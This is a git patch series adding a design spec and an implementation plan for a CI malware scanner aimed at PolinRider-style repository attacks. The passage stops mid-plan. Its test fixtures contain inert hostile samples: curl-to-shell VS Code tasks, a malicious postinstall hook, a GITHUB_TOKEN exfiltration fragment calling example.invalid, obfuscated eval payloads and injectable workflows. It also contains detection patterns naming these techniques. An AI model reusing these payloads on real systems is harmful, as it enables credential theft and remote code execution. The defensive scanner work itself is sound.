From c9066e21d7e9cf00dc0ff865fa0fefbeb217dad6 Mon Sep 17 00:00:00 2001 From: DeFiVC Date: Thu, 19 Nov 2026 13:05:47 +0100 Subject: [PATCH 01/31] docs: add malware-protection CI design spec --- ...2026-11-19-malware-protection-ci-design.md | 170 ++++++++++++++++++ 1 file changed, 170 insertions(+) create mode 100644 docs/compose/specs/2026-11-19-malware-protection-ci-design.md diff --git a/docs/compose/specs/2026-11-19-malware-protection-ci-design.md b/docs/compose/specs/2026-11-19-malware-protection-ci-design.md new file mode 100644 index 0000000..9272765 --- /dev/null +++ b/docs/compose/specs/2026-11-19-malware-protection-ci-design.md @@ -0,0 +1,170 @@ +# Malware-Protection CI — Design Spec + +Date: 2026-11-19 +Status: approved design, pending implementation +Threat context: PolinRider (DPRK/Lazarus-linked GitHub campaign, documented since 2026-03; 4000+ compromised repos by mid-2026) and unknown successor campaigns. + +## [S1] Problem + +Compromised contributors can push malware into the repository via pull requests or +direct commits. Known campaign TTPs (PolinRider, "EtherHiding" config-file loader): + +- Obfuscated JavaScript appended **after** legitimate content in common developer + config files: `tailwind.config.js`, `eslint.config.mjs`, `postcss.config.mjs`, + `next.config.mjs` and similar. +- `.vscode/tasks.json` entries running `curl | sh` / `iwr | iex` on folder open. +- Payload activates on `npm run dev` or when the project folder is opened in VS Code. +- Steals `GITHUB_TOKEN`/credentials, then force-pushes the payload into every + repository the victim can write to (self-propagation). +- Adjacent vectors: malicious npm lifecycle scripts, poisoned dependencies, + malicious GitHub workflows (`pull_request_target` abuse, script injection), + committed secrets. + +The repository's existing `ci.yml` covers lint, typecheck, CodeQL and report-only +`npm audit`. It does not scan for malware, does not inspect git history, and its +scanning jobs execute project code (`npm ci`), which is itself an infection vector. + +## [S2] Solution overview + +A new workflow `.github/workflows/malware-protection.yml` backed by in-repo +scanner code under `scripts/malware-scan/` (Python 3, **standard library only**). +Principles: + +1. **Never execute project code.** No `npm install`/`npm ci`, no lifecycle + scripts, no import of repo modules. Lockfile-only dependency analysis. +2. **Tiered enforcement.** `BLOCK` findings fail the check; `WARN` findings are + annotated but do not fail it. +3. **Defense in depth.** Custom TTP detection + established tools pinned to + commit SHAs + scheduled history sweeps. + +Triggers: + +| Trigger | Scope scanned | +|---|---| +| `pull_request` to `main` | PR diff (added/modified files) + changed workflows | +| `push` to `main` | pushed commits' trees | +| `schedule` (daily) | full git history + full tree | +| `workflow_dispatch` | full git history + full tree (manual incident response) | + +## [S3] Components + +### C1. `scripts/malware-scan/scan.py` — TTP scanner (custom) + +Rule catalog (stable rule IDs; all rules emit `file:line rule-ID message`): + +**BLOCK rules** + +| Rule ID | Detects | +|---|---| +| `POLIN-CONFIG-APPEND` | Non-comment content appended after the apparent end of a JS/MJS/CJS config module (config-file TTP) | +| `POLIN-OBFUSCATED-JS` | Obfuscation constructs: long base64/hex literals (>=200 chars), `String.fromCharCode`/`atob`/`unescape` feeding `eval`/`Function`, bracket-notation-only identifier chains, `eval(…)` combined with network or process APIs | +| `POLIN-VSCODE-TASKS` | `.vscode/tasks.json` command lines containing `curl`/`wget`/`iwr` piped to a shell, or `base64 -d \| sh` style decode-and-execute | +| `STEAL-TOKEN-EXFIL` | Reads of `GITHUB_TOKEN`/`process.env.*TOKEN*`/`~/.ssh`/credential stores combined with outbound network calls (`fetch`, `http.request`, `child_process` + curl) | +| `HOOK-MALICIOUS-SCRIPT` | `preinstall`/`install`/`postinstall`/`prepare` npm scripts invoking `node -e`, `curl`, `wget`, encoded/obfuscated commands | +| `WF-PR-TARGET-CHECKOUT` | Workflow using `pull_request_target` together with checkout of the untrusted PR head (pwn-request pattern) | +| `WF-SCRIPT-INJECTION` | `${{ github.event.* }}` / `${{ github.head_ref }}` interpolated directly into `run:` blocks | +| `WF-UNPINNED-ACTION` | `uses: owner/repo@ref` where `ref` is not a full 40-hex commit SHA (warn by default; BLOCK when the action is referenced from a job that receives secrets — see severity table) | + +**WARN rules** + +| Rule ID | Detects | +|---|---| +| `SUSP-HIGH-ENTROPY` | Long high-entropy string literals without a corroborating BLOCK rule | +| `SUSP-NEW-BINARY` | New/modified non-text or executable-bit files in the diff | +| `SUSP-TYPOSQUAT` | New dependency whose name is within edit distance 2 of a bundled top-100-npm-packages list (static list shipped in `scripts/malware-scan/rules/`) but not itself on the list | +| `SUSP-NEW-DEPENDENCY` | Any newly added dependency (lockfile diff) — informational review prompt | +| `SUSP-DECODE-COMMAND` | `base64 -d`/`certutil`/`powershell -enc` outside approved tooling | +| `WF-UNPINNED-ACTION` (default) | as above, when not secrets-bearing | + +**Dependency analysis (static):** `npm audit --package-lock-only --json` +(high/critical → WARN, matching current repo posture), plus the lockfile-diff +rules above. No install is performed. + +### C2. Third-party scanners (pinned to full commit SHAs) + +- `gitleaks` — secret scanning on PR diffs and full history (schedule/manual). +- `zizmor` — GitHub Actions static analysis (pwn-requests, injection, bad caching). +- `actionlint` — workflow syntax/lint validation. + +All third-party actions in this workflow are pinned by commit SHA with a version +comment. The scanner jobs use only `actions/checkout`, `actions/setup-python` +(both SHA-pinned) and the tools above. + +### C3. Scheduled history sweep + +`scan.py --history` walks `git log --all` trees, applying the BLOCK rule catalog +to every revision (with caching by blob OID) and `gitleaks git --full-history`. +Purpose: catch infections that predate the workflow or are re-introduced via +force-push after the fact (PolinRider propagates by force-push). + +### C4. Allowlist + +`scripts/malware-scan/allowlist.yml` — entries of the form +`{ rule: RULE-ID, path: glob, reason: string }`. Reasons are mandatory; the +scanner prints allowlist usage in the job summary so suppressions stay visible. + +## [S4] Severity and enforcement behavior + +| Tier | Examples | CI result | +|---|---|---| +| BLOCK | any `POLIN-*`, `STEAL-*`, `HOOK-*`, `WF-PR-TARGET-CHECKOUT`, `WF-SCRIPT-INJECTION`, high-confidence gitleaks findings | check fails (exit 1) | +| WARN | entropy blobs, new deps, typosquat hits, new binaries, unpinned actions in jobs without `secrets:`, npm audit high/critical | annotations + summary, check passes | + +Escalation rule: `WF-UNPINNED-ACTION` escalates from WARN to BLOCK when the +unpinned action sits in any job that declares `secrets:` (including jobs in +workflows other than this one — the rule scans all `.github/workflows/*`). +| ERROR | scanner crash / tool failure | check fails (exit 2, distinct message — fail safe) | + +Every finding includes: path, line, rule ID, short explanation, remediation hint. +The job summary ends with an incident-response pointer (rotate tokens, review +force-push history, run `scan.py --history` locally, PolinRider cleanup notes). + +## [S5] Data flow and safety properties + +1. Trigger fires → `scan-job` (diff scan), `secrets-job`, `workflow-lint-job` + run in parallel; `history-job` runs only on `schedule`/`workflow_dispatch`. +2. All jobs: `permissions: contents: read` (secrets-job additionally + `security-events: write` if uploading SARIF — upload is optional/best-effort). +3. No repository secrets are exposed to any job. No project code executes. +4. PR events use `pull_request` (NOT `pull_request_target`), so workflows from + forks run with read-only token in an isolated context. +5. Findings are emitted as GitHub annotations (`::error::`/`::warning::`) and a + Markdown job summary. + +## [S6] Testing + +- `tests/malware-scan/test_scan.py` — stdlib `unittest`, no test dependencies. +- Fixtures under `tests/malware-scan/fixtures/` are **inert synthetic samples** + (strings that trigger rules without being functional code) and benign + counter-samples. Each BLOCK/WARN rule has at least one positive and one + negative test. +- Acceptance test: scanner exits 0 on the repository's current tree. +- Workflow file is validated with `actionlint` and `zizmor` locally before merge. + +## [S7] Deliverables + +| Path | Purpose | +|---|---| +| `.github/workflows/malware-protection.yml` | the CI workflow | +| `scripts/malware-scan/scan.py` | TTP scanner (stdlib only) | +| `scripts/malware-scan/allowlist.yml` | suppression list (starts empty, format documented) | +| `tests/malware-scan/test_scan.py` | rule unit tests | +| `tests/malware-scan/fixtures/**` | inert test fixtures | +| `docs/malware-protection.md` | maintainer guide: coverage, tiers, allowlist policy, incident response | + +Out of scope (noted as follow-ups): modifying existing `ci.yml`, branch +protection configuration (maintainer must mark `malware-protection` checks as +required in GitHub settings), org-level Actions pinning policy. + +## [S8] Threat coverage mapping + +| Threat vector | Covered by | +|---|---| +| Config-file payload append (PolinRider) | `POLIN-CONFIG-APPEND`, `POLIN-OBFUSCATED-JS` | +| VS Code tasks curl-to-shell | `POLIN-VSCODE-TASKS` | +| Token stealers / self-propagation | `STEAL-TOKEN-EXFIL`, gitleaks history scan | +| Malicious lifecycle scripts | `HOOK-MALICIOUS-SCRIPT` | +| Poisoned/typosquat dependencies | `SUSP-NEW-DEPENDENCY`, `SUSP-TYPOSQUAT`, `npm audit` | +| Workflow abuse (pwn-request, injection, unpinned) | `WF-*` rules, zizmor, actionlint | +| Pre-existing / force-pushed infections | scheduled + manual history sweep | +| Committed secrets | gitleaks | From 8e2aa789a1c4c4510c84048d0da1e941018461ca Mon Sep 17 00:00:00 2001 From: DeFiVC Date: Thu, 19 Nov 2026 13:10:57 +0100 Subject: [PATCH 02/31] docs: add malware-protection CI implementation plan --- .../plans/2026-11-19-malware-protection-ci.md | 1376 +++++++++++++++++ 1 file changed, 1376 insertions(+) create mode 100644 docs/compose/plans/2026-11-19-malware-protection-ci.md diff --git a/docs/compose/plans/2026-11-19-malware-protection-ci.md b/docs/compose/plans/2026-11-19-malware-protection-ci.md new file mode 100644 index 0000000..653a3de --- /dev/null +++ b/docs/compose/plans/2026-11-19-malware-protection-ci.md @@ -0,0 +1,1376 @@ +# Malware-Protection CI Implementation Plan + +> **For agentic workers:** REQUIRED SUB-SKILL: Use compose:subagent (recommended) or compose:execute to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking. + +**Goal:** Ship a `malware-protection` GitHub Actions workflow with an in-repo, stdlib-only Python scanner that blocks PolinRider-style malware and warns on suspicious signals, without ever executing project code. + +**Architecture:** One workflow (`.github/workflows/malware-protection.yml`) fans out into parallel jobs: a custom TTP scanner (`scripts/malware-scan/scan.py`, Python 3 stdlib), secret scanning (gitleaks), and workflow linting (zizmor + actionlint). A history-sweep job runs on schedule/manual only. Findings are tiered BLOCK/WARN and emitted as annotations plus a job summary. All third-party actions are pinned to commit SHAs resolved at implementation time. + +**Tech Stack:** Python 3.11+ (stdlib only: `unittest`, `json`, `re`, `subprocess`, `argparse`, `dataclasses`, `pathlib`, `math`), Bash, GitHub Actions, gitleaks, zizmor, actionlint. + +**Spec:** `docs/compose/specs/2026-11-19-malware-protection-ci-design.md` (anchors `[S1]`–`[S8]`). + +**Deviation from spec (approved at planning):** the allowlist is `allowlist.json` (not `.yml`) because the scanner is stdlib-only and Python has no stdlib YAML parser. `docs/malware-protection.md` and the spec must reference `allowlist.json`. + +--- + +## File Structure + +| Path | Responsibility | +|---|---| +| `scripts/malware-scan/scan.py` | Scanner engine: rules, severity tiers, allowlist, diff/history modes, CLI, exit codes | +| `scripts/malware-scan/rules/typosquat_top100.txt` | Bundled top-100 npm package names for typosquat distance checks (one name per line) | +| `scripts/malware-scan/allowlist.json` | Suppressions: list of `{rule, path, reason}`; starts with one fixture-dir bootstrap entry | +| `tests/malware-scan/test_scan.py` | Stdlib unittest suite: one positive + one negative test per rule | +| `tests/malware-scan/fixtures/README.md` | Declares fixtures are inert synthetic samples | +| `tests/malware-scan/fixtures/malicious/*` | Inert trigger samples (non-routable URLs, dummy tokens, non-functional fragments) | +| `tests/malware-scan/fixtures/benign/*` | Counter-samples that must NOT trigger | +| `.github/workflows/malware-protection.yml` | The CI workflow | +| `.gitleaks.toml` | Allowlists fixtures dir so gitleaks ignores inert test samples | +| `docs/malware-protection.md` | Maintainer guide: coverage, tiers, allowlist policy, incident response | + +Conventions: `Finding` is a frozen dataclass `{rule: str, severity: str, path: str, line: int, message: str}` with `severity` in `{"BLOCK", "WARN"}`. Rule IDs are exactly those in spec `[S3]` C1. Exit codes: `0` clean, `1` BLOCK findings, `2` scanner error (spec `[S4]`). + +--- + +### Task 1: Scanner skeleton — findings, registry, CLI, exit codes + +**Covers:** [S4], [S5] + +**Files:** +- Create: `scripts/malware-scan/scan.py` +- Test: `tests/malware-scan/test_scan.py` + +- [ ] **Step 1: Write the failing test** + +```python +# tests/malware-scan/test_scan.py +import json +import subprocess +import sys +import unittest +from pathlib import Path + +REPO = Path(__file__).resolve().parents[2] +SCAN = REPO / "scripts" / "malware-scan" / "scan.py" + + +def run_scan(*args: str) -> subprocess.CompletedProcess: + return subprocess.run( + [sys.executable, str(SCAN), *args], + capture_output=True, + text=True, + cwd=REPO, + ) + + +class TestCliContract(unittest.TestCase): + def test_clean_tree_exits_zero(self): + proc = run_scan("--paths", "src", "--json-out", "-") + self.assertEqual(proc.returncode, 0, proc.stdout + proc.stderr) + + def test_json_output_shape(self): + proc = run_scan("--paths", "src", "--json-out", "-") + data = json.loads(proc.stdout) + self.assertIn("findings", data) + self.assertIn("scanned", data) + + def test_unknown_rule_not_emitted_for_benign_text(self): + proc = run_scan("--paths", "src", "--json-out", "-") + self.assertEqual(json.loads(proc.stdout)["findings"], []) + + +if __name__ == "__main__": + unittest.main() +``` + +- [ ] **Step 2: Run test to verify it fails** + +Run: `python3 -m unittest tests.malware-scan.test_scan -v` (from repo root; if the dotted path fails due to the hyphen, use `python3 -m unittest discover -s tests/malware-scan -v`) +Expected: FAIL — `scan.py` does not exist (FileNotFoundError / non-zero exit). + +- [ ] **Step 3: Write minimal implementation** + +```python +#!/usr/bin/env python3 +"""Malware TTP scanner. Stdlib only. Never executes project code.""" +from __future__ import annotations + +import argparse +import json +import sys +from dataclasses import asdict, dataclass +from pathlib import Path + +SEVERITIES = ("BLOCK", "WARN") + + +@dataclass(frozen=True) +class Finding: + rule: str + severity: str + path: str + line: int + message: str + + +def scan_text(path: str, text: str) -> list[Finding]: + """Run all text rules over one file. Rules are added in later tasks.""" + return [] + + +def iter_scan_paths(paths: list[str]) -> list[Path]: + out: list[Path] = [] + for raw in paths: + p = Path(raw) + if p.is_file(): + out.append(p) + elif p.is_dir(): + out.extend( + q for q in sorted(p.rglob("*")) + if q.is_file() and "malware-scan" not in q.parts + ) + return out + + +def run(paths: list[str]) -> list[Finding]: + findings: list[Finding] = [] + for f in iter_scan_paths(paths): + try: + text = f.read_text(encoding="utf-8", errors="replace") + except OSError as exc: + raise RuntimeError(f"cannot read {f}: {exc}") from exc + findings.extend(scan_text(str(f), text)) + return findings + + +def main(argv: list[str] | None = None) -> int: + ap = argparse.ArgumentParser(prog="scan.py") + ap.add_argument("--paths", nargs="+", default=["."]) + ap.add_argument("--json-out", default="-", help="'-' for stdout or a file path") + args = ap.parse_args(argv) + try: + findings = run(args.paths) + except RuntimeError as exc: + print(f"scanner error: {exc}", file=sys.stderr) + return 2 + payload = {"findings": [asdict(f) for f in findings], "scanned": args.paths} + out = json.dumps(payload, indent=2) + if args.json_out == "-": + print(out) + else: + Path(args.json_out).write_text(out, encoding="utf-8") + return 1 if any(f.severity == "BLOCK" for f in findings) else 0 + + +if __name__ == "__main__": + sys.exit(main()) +``` + +- [ ] **Step 4: Run test to verify it passes** + +Run: `python3 -m unittest discover -s tests/malware-scan -v` +Expected: 3 tests PASS. + +- [ ] **Step 5: Commit** + +```bash +git add scripts/malware-scan/scan.py tests/malware-scan/test_scan.py +git commit -m "feat(malware-scan): scanner skeleton with finding model and CLI exit codes" +``` + +--- + +### Task 2: PolinRider config-file rules — POLIN-CONFIG-APPEND, POLIN-OBFUSCATED-JS + +**Covers:** [S3] (C1 rule catalog), [S8] row 1 + +**Files:** +- Modify: `scripts/malware-scan/scan.py` (add rules) +- Create: `tests/malware-scan/fixtures/README.md`, `tests/malware-scan/fixtures/malicious/polin-config-append.config.js`, `tests/malware-scan/fixtures/malicious/polin-obfuscated.config.mjs`, `tests/malware-scan/fixtures/benign/tailwind.config.js`, `tests/malware-scan/fixtures/benign/eslint.config.mjs` +- Test: `tests/malware-scan/test_scan.py` (append rule tests) + +- [ ] **Step 1: Write the failing tests and fixtures** + +Fixture README: + +```markdown +# Test fixtures — INERT + +These files are synthetic samples for scanner unit tests. They are not +functional code: URLs are non-routable (`example.invalid`), tokens are dummy, +and payload fragments cannot execute. Do not "fix" them to run. +``` + +`tests/malware-scan/fixtures/malicious/polin-config-append.config.js` (inert): + +```js +module.exports = { + content: ["./src/**/*.{ts,tsx}"], +}; +/* trailing block below mimics the PolinRider append pattern */ +var _0x1 = Buffer["from"]("aHR0cDovL2V4YW1wbGUuaW52YWxpZA==","base64")["toString"](); +require("child_process")["exec"]("curl -s http://example.invalid/p | sh"); +``` + +`tests/malware-scan/fixtures/malicious/polin-obfuscated.config.mjs` (inert): + +```js +export default { plugins: [] }; +eval(String["fromCharCode"](104,116,116,112,115,58,47,47,101,120,97,109,112,108,101,46,105,110,118,97,108,105,100)); +``` + +`tests/malware-scan/fixtures/benign/tailwind.config.js`: + +```js +/** @type {import('tailwindcss').Config} */ +module.exports = { + content: ["./src/**/*.{ts,tsx}"], + theme: { extend: {} }, + plugins: [], +}; +``` + +`tests/malware-scan/fixtures/benign/eslint.config.mjs`: + +```js +import js from "@eslint/js"; +export default [js.configs.recommended, { rules: { "no-eval": "error" } }]; +``` + +Tests to append to `tests/malware-scan/test_scan.py`: + +```python +from importlib.util import module_from_spec, spec_from_file_location + +_spec = spec_from_file_location("scan_mod", SCAN) +scan_mod = module_from_spec(_spec) +_spec.loader.exec_module(scan_mod) + +FIXTURES = Path(__file__).resolve().parent / "fixtures" + + +class TestPolinConfigRules(unittest.TestCase): + def test_config_append_detected(self): + p = FIXTURES / "malicious" / "polin-config-append.config.js" + found = scan_mod.scan_text(str(p), p.read_text()) + self.assertIn("POLIN-CONFIG-APPEND", {f.rule for f in found}) + + def test_obfuscated_js_detected(self): + p = FIXTURES / "malicious" / "polin-obfuscated.config.mjs" + found = scan_mod.scan_text(str(p), p.read_text()) + self.assertIn("POLIN-OBFUSCATED-JS", {f.rule for f in found}) + + def test_benign_configs_clean(self): + for name in ("tailwind.config.js", "eslint.config.mjs"): + p = FIXTURES / "benign" / name + found = scan_mod.scan_text(str(p), p.read_text()) + self.assertEqual(found, [], name) +``` + +- [ ] **Step 2: Run tests to verify they fail** + +Run: `python3 -m unittest discover -s tests/malware-scan -v` +Expected: 2 new tests FAIL (`POLIN-CONFIG-APPEND`/`POLIN-OBFUSCATED-JS` not detected), benign test PASSES. + +- [ ] **Step 3: Implement the rules** + +Append to `scripts/malware-scan/scan.py` (above `scan_text`): + +```python +import math +import re + +CONFIG_FILE_RE = re.compile( + r"(tailwind|postcss|eslint|next|webpack|vite|jest|babel|rollup|nuxt)" + r".*\.config\.(js|cjs|mjs)$|next\.config\.mjs$" +) +LONG_B64_RE = re.compile(r"[A-Za-z0-9+/=]{200,}") +FROM_CHARCODE_RE = re.compile(r"String\s*\[\s*['\"]fromCharCode|String\.fromCharCode") +DECODE_FN_RE = re.compile(r"\b(eval|Function|setTimeout|setInterval)\s*\(") +ATOB_RE = re.compile(r"\b(atob|Buffer\s*\[\s*['\"]from|unescape|decodeURIComponent)\b") +BRACKET_ONLY_RE = re.compile(r"(?:\[\s*['\"][A-Za-z_$][\w$]*['\"]\s*\]\s*){4,}") +NETWORK_RE = re.compile(r"\b(fetch|XMLHttpRequest|http\.request|https\.request|child_process|exec|spawn)\b") + + +def _is_config_file(path: str) -> bool: + return bool(CONFIG_FILE_RE.search(Path(path).name)) + + +def rule_polin_config_append(path: str, text: str) -> list[Finding]: + if not _is_config_file(path): + return [] + out: list[Finding] = [] + lines = text.splitlines() + # Heuristic: substantial non-comment code appearing after a line that ends + # the module (trailing `};` or `export default {...};`) followed later by + # obfuscation/exec/network markers = appended payload. + ended_at = None + for i, ln in enumerate(lines): + if re.match(r"^\s*(\};?|export\s+default\s+.*\};?)\s*$", ln): + ended_at = i + if ended_at is not None: + tail = "\n".join(lines[ended_at + 1:]) + if tail.strip() and NETWORK_RE.search(tail) and ( + BRACKET_ONLY_RE.search(tail) or LONG_B64_RE.search(tail) + or _has_decode_construct(tail) + ): + out.append(Finding( + "POLIN-CONFIG-APPEND", "BLOCK", path, ended_at + 2, + "suspicious code appended after module end in a build config " + "(PolinRider config-file payload pattern)", + )) + return out + + +DECODE_ALIAS_RE = re.compile(r"\batob\b|Buffer\s*\[\s*['\"]from") + + +def _has_decode_construct(tail: str) -> bool: + return bool(FROM_CHARCODE_RE.search(tail) or DECODE_ALIAS_RE.search(tail)) + + +def rule_polin_obfuscated_js(path: str, text: str) -> list[Finding]: + out: list[Finding] = [] + for i, ln in enumerate(text.splitlines(), 1): + hits = [] + if LONG_B64_RE.search(ln): + hits.append("long base64/hex literal") + if BRACKET_ONLY_RE.search(ln): + hits.append("bracket-notation-only identifier chain") + if FROM_CHARCODE_RE.search(ln) and DECODE_FN_RE.search(text): + hits.append("fromCharCode feeding eval/Function") + if DECODE_FN_RE.search(ln) and DECODE_ALIAS_RE.search(ln): + hits.append("eval over decoded input") + if hits and (NETWORK_RE.search(ln) or DECODE_FN_RE.search(ln)): + out.append(Finding( + "POLIN-OBFUSCATED-JS", "BLOCK", path, i, + "obfuscated JavaScript construct: " + "; ".join(hits), + )) + return out +``` + +Wire into `scan_text`: + +```python +TEXT_RULES = [rule_polin_config_append, rule_polin_obfuscated_js] + + +def scan_text(path: str, text: str) -> list[Finding]: + findings: list[Finding] = [] + for rule in TEXT_RULES: + findings.extend(rule(path, text)) + return findings +``` + +- [ ] **Step 4: Run tests to verify they pass** + +Run: `python3 -m unittest discover -s tests/malware-scan -v` +Expected: all tests PASS (benign configs must produce zero findings). + +- [ ] **Step 5: Commit** + +```bash +git add scripts/malware-scan/scan.py tests/malware-scan/ +git commit -m "feat(malware-scan): PolinRider config-append and obfuscation rules" +``` + +--- + +### Task 3: Execution-vector rules — POLIN-VSCODE-TASKS, STEAL-TOKEN-EXFIL, HOOK-MALICIOUS-SCRIPT + +**Covers:** [S3] (C1), [S8] rows 2–4 + +**Files:** +- Modify: `scripts/malware-scan/scan.py` +- Create: `tests/malware-scan/fixtures/malicious/tasks.json`, `tests/malware-scan/fixtures/malicious/package-hook.json`, `tests/malware-scan/fixtures/malicious/stealer-fragment.js`, `tests/malware-scan/fixtures/benign/package.json`, `tests/malware-scan/fixtures/benign/tasks.json` +- Test: `tests/malware-scan/test_scan.py` (append) + +- [ ] **Step 1: Write the failing tests and fixtures** + +`tests/malware-scan/fixtures/malicious/tasks.json` (inert): + +```json +{ + "version": "2.0.0", + "tasks": [ + { + "label": "update", + "type": "shell", + "command": "curl -s http://example.invalid/x.sh | sh", + "runOptions": { "runOn": "folderOpen" } + } + ] +} +``` + +`tests/malware-scan/fixtures/malicious/package-hook.json` (inert): + +```json +{ + "name": "fixture", + "scripts": { + "postinstall": "node -e \"require('http').get('http://example.invalid')\"" + } +} +``` + +`tests/malware-scan/fixtures/malicious/stealer-fragment.js` (inert): + +```js +const t = process.env.GITHUB_TOKEN || process.env["GH_TOKEN"]; +require("https").request({ hostname: "example.invalid", method: "POST" }).end(t); +``` + +`tests/malware-scan/fixtures/benign/package.json`: + +```json +{ + "name": "fixture-benign", + "scripts": { + "build": "tsc -p tsconfig.json", + "test": "vitest run", + "postinstall": "echo done" + } +} +``` + +`tests/malware-scan/fixtures/benign/tasks.json`: + +```json +{ + "version": "2.0.0", + "tasks": [ + { "label": "test", "type": "shell", "command": "npm test" } + ] +} +``` + +Tests to append: + +```python +class TestExecutionVectorRules(unittest.TestCase): + def test_vscode_tasks_curl_to_shell(self): + p = FIXTURES / "malicious" / "tasks.json" + found = scan_mod.scan_text(str(p), p.read_text()) + self.assertIn("POLIN-VSCODE-TASKS", {f.rule for f in found}) + + def test_token_exfil_detected(self): + p = FIXTURES / "malicious" / "stealer-fragment.js" + found = scan_mod.scan_text(str(p), p.read_text()) + self.assertIn("STEAL-TOKEN-EXFIL", {f.rule for f in found}) + + def test_malicious_lifecycle_hook(self): + p = FIXTURES / "malicious" / "package-hook.json" + found = scan_mod.scan_text(str(p), p.read_text()) + self.assertIn("HOOK-MALICIOUS-SCRIPT", {f.rule for f in found}) + + def test_benign_package_and_tasks_clean(self): + for name in ("package.json", "tasks.json"): + p = FIXTURES / "benign" / name + self.assertEqual(scan_mod.scan_text(str(p), p.read_text()), [], name) +``` + +- [ ] **Step 2: Run tests to verify they fail** + +Run: `python3 -m unittest discover -s tests/malware-scan -v` +Expected: 3 FAIL (rules missing), benign test PASS. + +- [ ] **Step 3: Implement the rules** + +Append to `scripts/malware-scan/scan.py`: + +```python +SHELL_PIPE_RE = re.compile( + r"(curl|wget|iwr|Invoke-WebRequest)[^\n|]*\|\s*(sh|bash|zsh|powershell|pwsh|iex|cmd)" +) +DECODE_EXEC_RE = re.compile(r"base64\s+(-d|--decode)\s*\|[^\n]*(sh|bash)|certutil.*-decode") +TOKEN_REF_RE = re.compile(r"GITHUB_TOKEN|GH_TOKEN|process\.env\[[^\]]*TOKEN|~\/\.ssh|\.npmrc|credentials") +EXFIL_RE = re.compile(r"https?\.(request|get|post)|fetch\s*\(|curl\s|wget\s|exec\s*\(|spawn\s*\(") +HOOK_NAMES = ("preinstall", "install", "postinstall", "prepare", "prepublish", "postpublish") +HOOK_BAD_RE = re.compile(r"node\s+-e|curl\s|wget\s|iwr\s|base64\s+(-d|--decode)|fromCharCode") + + +def rule_polin_vscode_tasks(path: str, text: str) -> list[Finding]: + if Path(path).name != "tasks.json" or ".vscode" not in Path(path).parts: + return [] + out = [] + for i, ln in enumerate(text.splitlines(), 1): + if SHELL_PIPE_RE.search(ln) or DECODE_EXEC_RE.search(ln): + out.append(Finding( + "POLIN-VSCODE-TASKS", "BLOCK", path, i, + "VS Code task runs curl/wget piped to a shell " + "(PolinRider folderOpen execution vector)", + )) + return out + + +def rule_steal_token_exfil(path: str, text: str) -> list[Finding]: + out = [] + for i, ln in enumerate(text.splitlines(), 1): + if TOKEN_REF_RE.search(ln): + window = "\n".join(text.splitlines()[max(0, i - 4): i + 4]) + if EXFIL_RE.search(window): + out.append(Finding( + "STEAL-TOKEN-EXFIL", "BLOCK", path, i, + "token/credential access combined with outbound network call " + "(token-stealer pattern)", + )) + return out + + +def rule_hook_malicious_script(path: str, text: str) -> list[Finding]: + if Path(path).name != "package.json": + return [] + try: + data = json.loads(text) + except ValueError: + return [] + scripts = data.get("scripts") or {} + out = [] + for name in HOOK_NAMES: + val = scripts.get(name) + if isinstance(val, str) and HOOK_BAD_RE.search(val): + out.append(Finding( + "HOOK-MALICIOUS-SCRIPT", "BLOCK", path, 1, + f"npm lifecycle script '{name}' invokes download/exec/obfuscation " + f"primitives: {val[:80]!r}", + )) + return out +``` + +Register the three rules in `TEXT_RULES`. + +- [ ] **Step 4: Run tests to verify they pass** + +Run: `python3 -m unittest discover -s tests/malware-scan -v` +Expected: all PASS. + +- [ ] **Step 5: Commit** + +```bash +git add scripts/malware-scan/scan.py tests/malware-scan/ +git commit -m "feat(malware-scan): VS Code tasks, token-exfil, and lifecycle-hook rules" +``` + +--- + +### Task 4: Workflow rules — WF-PR-TARGET-CHECKOUT, WF-SCRIPT-INJECTION, WF-UNPINNED-ACTION + +**Covers:** [S3] (C1), [S4] (escalation), [S8] row 6 + +**Files:** +- Modify: `scripts/malware-scan/scan.py` +- Create: `tests/malware-scan/fixtures/malicious/pwn-request.yml`, `tests/malware-scan/fixtures/malicious/injection.yml`, `tests/malware-scan/fixtures/malicious/unpinned-secrets.yml`, `tests/malware-scan/fixtures/benign/workflow.yml` +- Test: `tests/malware-scan/test_scan.py` (append) + +- [ ] **Step 1: Write the failing tests and fixtures** + +`tests/malware-scan/fixtures/malicious/pwn-request.yml` (inert): + +```yaml +name: x +on: pull_request_target +jobs: + j: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + ref: ${{ github.event.pull_request.head.sha }} + - run: npm test +``` + +`tests/malware-scan/fixtures/malicious/injection.yml` (inert): + +```yaml +name: x +on: issue_comment +jobs: + j: + runs-on: ubuntu-latest + steps: + - run: echo "Hello ${{ github.event.issue.title }}" +``` + +`tests/malware-scan/fixtures/malicious/unpinned-secrets.yml` (inert): + +```yaml +name: x +on: push +jobs: + j: + runs-on: ubuntu-latest + secrets: inherit + steps: + - uses: some/action@v1 +``` + +`tests/malware-scan/fixtures/benign/workflow.yml`: + +```yaml +name: x +on: pull_request +jobs: + j: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1 + - run: echo ok +``` + +Tests to append: + +```python +class TestWorkflowRules(unittest.TestCase): + def test_pwn_request_pattern(self): + p = FIXTURES / "malicious" / "pwn-request.yml" + found = scan_mod.scan_text(str(p), p.read_text()) + self.assertIn("WF-PR-TARGET-CHECKOUT", {f.rule for f in found}) + + def test_script_injection(self): + p = FIXTURES / "malicious" / "injection.yml" + found = scan_mod.scan_text(str(p), p.read_text()) + self.assertIn("WF-SCRIPT-INJECTION", {f.rule for f in found}) + + def test_unpinned_action_with_secrets_is_block(self): + p = FIXTURES / "malicious" / "unpinned-secrets.yml" + found = scan_mod.scan_text(str(p), p.read_text()) + unpinned = [f for f in found if f.rule == "WF-UNPINNED-ACTION"] + self.assertTrue(unpinned) + self.assertEqual(unpinned[0].severity, "BLOCK") + + def test_unpinned_action_without_secrets_is_warn(self): + text = "name: x\non: push\njobs:\n j:\n runs-on: ubuntu-latest\n steps:\n - uses: some/action@v1\n" + found = scan_mod.scan_text("wf.yml", text) + unpinned = [f for f in found if f.rule == "WF-UNPINNED-ACTION"] + self.assertTrue(unpinned) + self.assertEqual(unpinned[0].severity, "WARN") + + def test_pinned_workflow_clean(self): + p = FIXTURES / "benign" / "workflow.yml" + self.assertEqual(scan_mod.scan_text(str(p), p.read_text()), []) +``` + +- [ ] **Step 2: Run tests to verify they fail** + +Run: `python3 -m unittest discover -s tests/malware-scan -v` +Expected: 5 FAIL. + +- [ ] **Step 3: Implement the rules** + +Append to `scripts/malware-scan/scan.py`: + +```python +WF_EXT = (".yml", ".yaml") +SHA_PIN_RE = 